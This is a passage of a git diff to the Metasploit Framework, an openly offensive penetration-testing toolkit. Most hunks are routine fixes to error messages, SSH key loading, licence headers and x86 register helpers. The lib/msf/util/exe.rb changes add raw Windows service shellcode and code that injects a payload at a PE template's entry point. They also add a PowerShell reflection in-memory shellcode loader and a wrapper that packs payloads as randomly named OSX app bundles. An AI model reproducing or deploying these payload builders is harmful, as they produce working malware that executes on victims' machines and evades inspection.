end + print_status("Caught interrupt from the console...") + return + end + end + + def check_simple(instance=nil) + unless instance + instance = mod + end + + rhost = instance.rhost + rport = nil + peer = rhost + if instance.datastore['rport'] + rport = instance.rport + peer = "#{rhost}:#{rport}" + end + + begin + code = instance.check_simple( 'LocalInput' => driver.input, 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good(code[1]) + print_good("#{peer} - #{code[1]}") else - print_status(code[1]) + print_status("#{peer} - #{code[1]}") end else - print_error("Check failed: The state could not be determined.") + print_error("#{peer} - Check failed: The state could not be determined.") end - rescue ::Interrupt - raise $! + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + # Connection issues while running check should be handled by the module + rescue ::RuntimeError + # Some modules raise RuntimeError but we don't necessarily care about those when we run check() + rescue Msf::OptionValidateError => e + print_error("Check failed: #{e.message}") rescue ::Exception => e - print_error("Exploit check failed: #{e.class} #{e}") - if(e.class.to_s != 'Msf::OptionValidateError') - print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.simple/ - print_error(" #{line}") - end - end + print_error("#{peer} - Check failed: #{e.class} #{e}") end end diff --git a/lib/msf/ui/logos/test.rb b/lib/msf/ui/logos/test.rb index 2a8e063414..5a30e29eb1 100644 --- a/lib/msf/ui/logos/test.rb +++ b/lib/msf/ui/logos/test.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- here = File.expand_path(File.dirname(__FILE__)) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 12b1242090..1e5dbaf528 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -299,7 +299,6 @@ require 'msf/core/exe/segment_injector' end def self.to_winpe_only(framework, code, opts={}, arch="x86") - if arch == ARCH_X86_64 arch = ARCH_X64 end @@ -310,30 +309,60 @@ require 'msf/core/exe/segment_injector' pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } + File.open(opts[:template], 'rb') { |fd| + exe = fd.read(fd.stat.size) + } + + pe_header_size = 0x18 + entryPoint_offset = 0x28 + section_size = 0x28 + characteristics_offset = 0x24 + virtualAddress_offset = 0x0c + sizeOfRawData_offset = 0x10 + + sections_table_offset = + pe._dos_header.v['e_lfanew'] + + pe._file_header.v['SizeOfOptionalHeader'] + + pe_header_size + + sections_table_characteristics_offset = sections_table_offset + characteristics_offset sections_header = [] - pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } + pe._file_header.v['NumberOfSections'].times { |i| + section_offset = sections_table_offset + (i * section_size) + sections_header << [ + sections_table_characteristics_offset + (i * section_size), + exe[section_offset,section_size] + ] + } + addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint - #look for section with entry point + # look for section with entry point sections_header.each do |sec| - virtualAddress = sec[1][0xc,0x4].unpack('L')[0] - sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0] - characteristics = sec[1][0x24,0x4].unpack('L')[0] - if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData - #put this section writable - characteristics|=0x80000000 - newcharacteristics = [characteristics].pack('L') - exe[sec[0],newcharacteristics.length]=newcharacteristics + virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0] + sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0] + characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0] + + if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint) + importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0] + if (importsTable - addressOfEntryPoint) < code.length + #shift original entry point to prevent tables overwritting + addressOfEntryPoint = importsTable - (code.length + 4) + + entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset + exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V') + end + # put this section writable + characteristics |= 0x8000_0000 + newcharacteristics = [characteristics].pack('V') + exe[sec[0],newcharacteristics.length] = newcharacteristics end end - #put the shellcode at the entry point, overwriting template - exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code - + # put the shellcode at the entry point, overwriting template + entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint) + exe[entryPoint_file_offset,code.length] = code return exe end @@ -383,6 +412,33 @@ require 'msf/core/exe/segment_injector' return pe end + + # Splits a string into a number of assembly push operations + # + # @param string [String] string to be used + # + # @return [String] null terminated string as assembly push ops + def self.string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = (str.length) % 4 + if (rem > 0) + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte + + # push string to stack, starting at the back + while (str.length > 0) + four = 'h'+str.slice!(-4,4) + pushes << four + end + + pushes + end + def self.exe_sub_method(code,opts ={}) pe = '' @@ -422,6 +478,17 @@ require 'msf/core/exe/segment_injector' if opts[:exe_type] == :dll mt = pe.index('MUTEX!!!') pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt + + if opts[:dll_exitprocess] + exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00" + exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73" + et_index = pe.index(exit_thread) + if et_index + pe[et_index,exit_process.length] = exit_process + else + raise RuntimeError, "Unable to find and replace ExitThread in the DLL." + end + end end return pe @@ -451,11 +518,82 @@ require 'msf/core/exe/segment_injector' exe_sub_method(code,opts) end + # Embeds shellcode within a Windows PE file implementing the Windows + # service control methods. + # + # @param framework [Object] + # @param code [String] shellcode to be embedded + # @option opts [Boolean] :sub_method use substitution technique with a + # service template PE + # @option opts [String] :servicename name of the service, not used in + # substituion technique + # + # @return [String] Windows Service PE file def self.to_win32pe_service(framework, code, opts={}) - # Allow the user to specify their own service EXE template - set_template_default(opts, "template_x86_windows_svc.exe") - opts[:exe_type] = :service_exe - exe_sub_method(code,opts) + if opts[:sub_method] + # Allow the user to specify their own service EXE template + set_template_default(opts, "template_x86_windows_svc.exe") + opts[:exe_type] = :service_exe + return exe_sub_method(code,opts) + else + name = opts[:servicename] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + + pushed_service_name+"\x89\xE1\x8D\x47\x03\x6A\x00" + + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" + + "\x8D\x85"+[svcmain_code_offset].pack('V')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + + [hash_code_offset].pack('V')+pushed_service_name+"\x89\xE1\x8D" + + "\x85"+[svcctrlhandler_code_offset].pack('V')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('V')+"\x57\x51\x68\xAE\x87" + + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + + [shellcode_code_offset].pack('V')+"\x54\x68"+[code.length].pack('V') + + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + + "\x51\x68\xC6\x96\x87\x52\xFF\xD5" + + code_service_stopped + + return to_winpe_only(framework, code_service + code, opts) + end end def self.to_win64pe_service(framework, code, opts={}) @@ -469,14 +607,24 @@ require 'msf/core/exe/segment_injector' # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") opts[:exe_type] = :dll - exe_sub_method(code,opts) + + if opts[:inject] + return self.to_win32pe(framework, code, opts) + else + return exe_sub_method(code,opts) + end end def self.to_win64pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") opts[:exe_type] = :dll - exe_sub_method(code,opts) + + if opts[:inject] + raise RuntimeError, 'Template injection unsupported for x64 DLLs' + else + return exe_sub_method(code,opts) + end end # @@ -506,12 +654,17 @@ require 'msf/core/exe/segment_injector' msi = fd.read(fd.stat.size) } - section_size = 2**(msi[30..31].unpack('s')[0]) - sector_allocation_table = msi[section_size..section_size*2].unpack('l*') + section_size = 2**(msi[30..31].unpack('v')[0]) + + # This table is one of the few cases where signed values are needed + sector_allocation_table = msi[section_size..section_size*2].unpack('l<*') buffer_chain = [] - current_secid = 5 # This is closely coupled with the template provided and ideally - # would be calculated from the dir stream? + + # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? + current_secid = 5 + until current_secid == -2 buffer_chain << current_secid @@ -606,6 +759,48 @@ require 'msf/core/exe/segment_injector' return macho end + # @param [Hash] opts the options hash + # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) + # @option opts [String] :app_name (random) the name of the OSX app + # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file + # @return [String] zip archive containing an OSX .app directory + def self.to_osx_app(exe, opts={}) + exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8) + app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8) + plist_extra = opts[:plist_extra] || '' + + app_name.chomp!(".app") + app_name += ".app" + + info_plist = %Q| + <?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleExecutable</key> + <string>#{exe_name}</string> + <key>CFBundleIdentifier</key> + <string>com.#{exe_name}.app</string> + <key>CFBundleName</key> + <string>#{exe_name}</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + #{plist_extra} +</dict> +</plist> + | + + zip = Rex::Zip::Archive.new + zip.add_file("#{app_name}/", '') + zip.add_file("#{app_name}/Contents/", '') + zip.add_file("#{app_name}/Contents/MacOS/", '') + zip.add_file("#{app_name}/Contents/Resources/", '') + zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe) + zip.add_file("#{app_name}/Contents/Info.plist", info_plist) + zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt') + zip.pack + end + # Create an ELF executable containing the payload provided in +code+ # # For the default template, this method just appends the payload, checks if @@ -637,8 +832,8 @@ require 'msf/core/exe/segment_injector' # Check EI_CLASS to determine if the header is 32 or 64 bit # Use the proper offsets and pack size - case elf[4] - when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9) + case elf[4,1].unpack("C").first + when 1 # ELFCLASS32 - 32 bit (ruby 1.9+) if big_endian elf[0x44,4] = [elf.length].pack('N') #p_filesz elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz @@ -646,13 +841,13 @@ require 'msf/core/exe/segment_injector' elf[0x44,4] = [elf.length].pack('V') #p_filesz elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz end - when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9) + when 2 # ELFCLASS64 - 64 bit (ruby 1.9+) if big_endian elf[0x60,8] = [elf.length].pack('Q>') #p_filesz elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz else # little endian - elf[0x60,8] = [elf.length].pack('Q') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz + elf[0x60,8] = [elf.length].pack('Q<') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz end else raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" @@ -782,7 +977,7 @@ require 'msf/core/exe/segment_injector' return read_replace_script_template("to_exe.vba.template", hash_sub) end -def self.to_vba(framework,code,opts={}) + def self.to_vba(framework,code,opts={}) hash_sub = {} hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize @@ -884,22 +1079,23 @@ def self.to_vba(framework,code,opts={}) hash_sub = rig.to_h hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray]) - + return read_replace_script_template("to_mem.aspx.template", hash_sub) end def self.to_win32pe_psh_net(framework, code, opts={}) - hash_sub = {} - hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:var_code) + rig.init_var(:var_kernel32) + rig.init_var(:var_baseaddr) + rig.init_var(:var_threadHandle) + rig.init_var(:var_output) + rig.init_var(:var_codeProvider) + rig.init_var(:var_compileParams) + rig.init_var(:var_syscode) + rig.init_var(:var_temp) + hash_sub = rig.to_h hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") @@ -920,6 +1116,33 @@ def self.to_vba(framework,code,opts={}) return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") end + # + # Reflection technique prevents the temporary .cs file being created for the .NET compiler + # Tweaked by shellster + # Originally from PowerSploit + # + def self.to_win32pe_psh_reflection(framework, code, opts={}) + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:func_get_proc_address) + rig.init_var(:func_get_delegate_type) + rig.init_var(:var_code) + rig.init_var(:var_module) + rig.init_var(:var_procedure) + rig.init_var(:var_unsafe_native_methods) + rig.init_var(:var_parameters) + rig.init_var(:var_return_type) + rig.init_var(:var_type_builder) + rig.init_var(:var_buffer) + rig.init_var(:var_hthread) + + hash_sub = rig.to_h + + hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) + + return read_replace_script_template("to_mem_pshreflection.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n") + end + def self.to_win32pe_vbs(framework, code, opts={}) to_exe_vbs(to_win32pe(framework, code, opts), opts) end @@ -934,6 +1157,7 @@ def self.to_vba(framework,code,opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" zip = Rex::Zip::Jar.new + zip.add_sub("metasploit") if opts[:random] paths = [ [ "metasploit", "Payload.class" ], ] @@ -1040,6 +1264,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8) # Specify the payload in hex as an extra file.. payload_hex = exe.unpack('H*')[0] @@ -1594,14 +1819,14 @@ def self.to_vba(framework,code,opts={}) case fmt when 'asp' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) output = Msf::Util::EXE.to_exe_asp(exe, exeopts) when 'aspx' output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) when 'aspx-exe' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) when 'dll' @@ -1610,6 +1835,7 @@ def self.to_vba(framework,code,opts={}) when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) end + when 'exe' output = case arch when ARCH_X86,nil then to_win32pe(framework, code, exeopts) @@ -1627,11 +1853,12 @@ def self.to_vba(framework,code,opts={}) when 'exe-small' output = case arch when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 then to_win64pe(framework, code, exeopts) end when 'exe-only' output = case arch - when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch) + when ARCH_X86,nil then to_winpe_only(framework, code, exeopts) when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch) when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch) end @@ -1675,7 +1902,7 @@ def self.to_vba(framework,code,opts={}) end end - when 'macho' + when 'macho', 'osx-app' output = case arch when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts) when ARCH_X86_64 then to_osx_x64_macho(framework, code, exeopts) @@ -1683,20 +1910,21 @@ def self.to_vba(framework,code,opts={}) when ARCH_ARMLE then to_osx_arm_macho(framework, code, exeopts) when ARCH_PPC then to_osx_ppc_macho(framework, code, exeopts) end + output = Msf::Util::EXE.to_osx_app(output) if fmt == 'osx-app' when 'vba' output = Msf::Util::EXE.to_vba(framework, code, exeopts) when 'vba-exe' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) output = Msf::Util::EXE.to_exe_vba(exe) when 'vbs' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) when 'loop-vbs' - exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) when 'war' @@ -1712,6 +1940,9 @@ def self.to_vba(framework,code,opts={}) when 'psh-net' output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) + when 'psh-reflection' + output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) + end output @@ -1732,8 +1963,10 @@ def self.to_vba(framework,code,opts={}) "macho", "msi", "msi-nouac", + "osx-app", "psh", "psh-net", + "psh-reflection", "vba", "vba-exe", "vbs", diff --git a/lib/msfenv.rb b/lib/msfenv.rb index a6e00a1df6..7a4f480830 100644 --- a/lib/msfenv.rb +++ b/lib/msfenv.rb @@ -2,11 +2,18 @@ # Use bundler to load dependencies # -ENV['BUNDLE_GEMFILE'] ||= ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile")) -begin - require 'bundler/setup' -rescue ::LoadError - $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" - $stderr.puts " $ gem install bundler" - exit(0) +# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode +# unless the `--environment` flag is passed. +ENV['RAILS_ENV'] ||= 'production' + +require 'pathname' +root = Pathname.new(__FILE__).expand_path.parent.parent +config = root.join('config') +require config.join('boot') + +# Requiring environment will define the Metasploit::Framework::Application as the one and only Rails::Application in +# this process and cause an error if a Rails.application is already defined, such as when loading msfenv through +# msfconsole in Metasploit Pro. +unless defined?(Rails) && !Rails.application.nil? + require config.join('environment') end diff --git a/lib/net/ssh/key_factory.rb b/lib/net/ssh/key_factory.rb index e416e622c6..9d5d461aec 100644 --- a/lib/net/ssh/key_factory.rb +++ b/lib/net/ssh/key_factory.rb @@ -35,9 +35,9 @@ module Net; module SSH # appropriately. The new key is returned. If the key itself is # encrypted (requiring a passphrase to use), the user will be # prompted to enter their password unless passphrase works. - def load_private_key(filename, passphrase=nil) + def load_private_key(filename, passphrase=nil, ask_passphrase=true) data = File.open(File.expand_path(filename), "rb") {|f| f.read(f.stat.size)} - load_data_private_key(data, passphrase, filename) + load_data_private_key(data, passphrase, ask_passphrase, filename) end # Loads a private key. It will correctly determine @@ -45,7 +45,7 @@ module Net; module SSH # appropriately. The new key is returned. If the key itself is # encrypted (requiring a passphrase to use), the user will be # prompted to enter their password unless passphrase works. - def load_data_private_key(data, passphrase=nil, filename="") + def load_data_private_key(data, passphrase=nil, ask_passphrase= true, filename="") if data.match(/-----BEGIN DSA PRIVATE KEY-----/) key_type = OpenSSL::PKey::DSA elsif data.match(/-----BEGIN RSA PRIVATE KEY-----/) @@ -62,7 +62,7 @@ module Net; module SSH begin return key_type.new(data, passphrase || 'invalid') rescue OpenSSL::PKey::RSAError, OpenSSL::PKey::DSAError => e - if encrypted_key + if encrypted_key && ask_passphrase tries += 1 if tries <= 3 passphrase = prompt("Enter passphrase for #{filename}:", false) diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 78868ec764..0b862f8e61 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -3,7 +3,7 @@ # =begin -Copyright (C) 2009-2012, Rapid7 LLC +Copyright (C) 2009-2012, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -16,7 +16,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/lib/rex.rb b/lib/rex.rb index b5452ec195..8b6140ea34 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -1,8 +1,9 @@ +# -*- coding: binary -*- =begin The Metasploit Rex library is provided under the 3-clause BSD license. -Copyright (c) 2005-2010, Rapid7 LLC +Copyright (c) 2005-2014, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -15,7 +16,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors may be + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/lib/rex/LICENSE b/lib/rex/LICENSE index 0c087d9684..bca0cd8cee 100644 --- a/lib/rex/LICENSE +++ b/lib/rex/LICENSE @@ -1,6 +1,6 @@ The Metasploit Rex library is provided under the 3-clause BSD license. -Copyright (c) 2005-2006, Rapid7 LLC +Copyright (c) 2005-2006, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -13,7 +13,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors may be + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb index f0d0a1a598..dfb88e3b19 100644 --- a/lib/rex/arch.rb +++ b/lib/rex/arch.rb @@ -48,8 +48,8 @@ module Arch case arch when ARCH_X86 [addr].pack('V') - when ARCH_X86_64 - [addr].pack('Q') + when ARCH_X86_64, ARCH_X64 + [addr].pack('Q<') when ARCH_MIPS # ambiguous [addr].pack('N') when ARCH_MIPSBE diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 42743e993d..cfe05c64d4 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -244,7 +244,7 @@ module X86 _check_reg(dst) # If the value is 0 try xor/sub dst, dst (2 bytes) - if(val == 0) + if val == 0 opcodes = Rex::Text.remove_badchars("\x29\x2b\x31\x33", badchars) if !opcodes.empty? return opcodes[rand(opcodes.length)].chr + encode_modrm(dst, dst) @@ -261,8 +261,9 @@ module X86 # try clear dst, mov BYTE dst (4 bytes) begin - # break if val == 0 - return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) + unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion + return _check_badchars(clear(dst, badchars) + mov_byte(dst, val), badchars) + end rescue ::ArgumentError, ::RuntimeError, ::RangeError end @@ -280,8 +281,9 @@ module X86 # try clear dst, mov WORD dst (6 bytes) begin - # break if val == 0 - return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) + unless val == 0 # clear tries to set(dst, 0, badchars), entering an infinite recursion + return _check_badchars(clear(dst, badchars) + mov_word(dst, val), badchars) + end rescue ::ArgumentError, ::RuntimeError, ::RangeError end diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index 99eebbe428..cc6656715b 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -114,7 +114,7 @@ def self.open_file(url='') end end -def self.open_browser(url='http://metasploit.com/') +def self.open_browser(url='http://google.com/') case RUBY_PLATFORM when /cygwin/ if(url[0,1] == "/") @@ -148,6 +148,62 @@ def self.open_browser(url='http://metasploit.com/') end end +def self.open_webrtc_browser(url='http://google.com/') + found_browser = false + + case RUBY_PLATFORM + when /mswin2|mingw|cygwin/ + paths = [ + "Google\\Chrome\\Application\\chrome.exe", + "Mozilla Firefox\\firefox.exe", + "Opera\\launcher.exe" + ] + + prog_files = ENV['ProgramFiles'] + paths = paths.map { |p| "#{prog_files}\\#{p}" } + + # Old chrome path + app_data = ENV['APPDATA'] + paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" + + paths.each do |p| + if File.exists?(p) + args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + system("#{path} #{args} #{url}") + found_browser = true + break + end + end + + when /darwin/ + ['Google Chrome.app', 'Firefox.app'].each do |browser| + browser_path = "/Applications/#{browser}" + if File.directory?(browser_path) + args = (browser_path =~ /Chrome/) ? "--args --allow-file-access-from-files" : "" + + system("open #{url} -a \"#{browser_path}\" #{args} &") + found_browser = true + break + end + end + else + if defined? ENV['PATH'] + ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ENV['PATH'].split(':').each do |path| + browser_path = "#{path}/#{browser}" + if File.exists?(browser_path) + args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" + system("#{browser_path} #{args} #{url} &") + found_browser = true + end + end + end + end + end + + found_browser +end + def self.open_email(addr) case RUBY_PLATFORM when /mswin32|cygwin/ diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 93aa1f4603..049a6801b5 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -64,29 +64,30 @@ 